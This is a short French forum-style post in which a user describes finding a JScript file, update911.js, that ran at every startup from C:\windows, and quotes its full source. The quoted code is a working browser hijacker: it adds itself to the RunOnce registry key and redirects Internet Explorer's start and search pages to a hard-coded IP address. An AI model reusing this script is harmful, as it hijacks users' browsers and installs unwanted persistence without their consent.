j'ai trouvé
j'avais un script js sur c:\windows, activé je ne sais comment la permiere fois. Ensuite a chaque demarrage il refaisait son office.
nom du fichier :
update911.js
contenu :
var url = "http://81.211.105.9/index.php?v=1";
var burl = "http://81.211.105.9/search.php?v=1";
var fso = new ActiveXObject("Scripting.FileSystemObject" );
var tfolder = fso.GetSpecialFolder(0);
var filepath = tfolder + "\\update911.js";
var Shell = new ActiveXObject("WScript.Shell" );
Shell.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\tlc",filepath);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar",burl);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Search Asst","no" );
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Custom Search URL",1,"REG_DWORD" );